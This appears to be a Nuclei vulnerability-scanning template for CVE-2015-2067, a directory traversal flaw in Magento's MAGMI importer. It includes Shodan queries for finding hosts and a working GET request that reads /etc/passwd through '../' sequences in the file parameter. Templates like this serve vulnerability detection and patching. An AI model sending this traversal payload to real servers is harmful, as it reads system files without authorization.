id: CVE-2015-2067

info:
  name: Magento Server MAGMI - Directory Traversal
  author: daffainfo
  severity: medium
  description: Magento Server MAGMI (aka Magento Mass Importer) contains a directory traversal vulnerability in web/ajax_pluginconf.php. that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Apply the latest security patches and updates provided by Magento.
  reference:
    - https://www.exploit-db.com/exploits/35996
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2067
    - http://packetstormsecurity.com/files/130250/Magento-Server-MAGMI-Cross-Site-Scripting-Local-File-Inclusion.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-2067
    cwe-id: CWE-22
    epss-score: 0.39424
    epss-percentile: 0.98467
    cpe: cpe:2.3:a:magmi_project:magmi:-:*:*:*:*:magento_server:*:*
  metadata:
    max-request: 1
    vendor: magmi_project
    product: magmi
    framework: magento_server
    shodan-query:
      - http.component:"Magento"
      - http.component:"magento"
  tags: cve2015,cve,plugin,edb,packetstorm,lfi,magento,magmi,magmi_project,magento_server,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100af97d3ca296be706a64891036144a9259e7f06badd7ea583dea6442672b3f38702202ba7d70e19d6c101fc1c58ab33c1d6115d57bce6c663c829a6148652c78f26c5:922c64590222798bb761d5b6d8e72950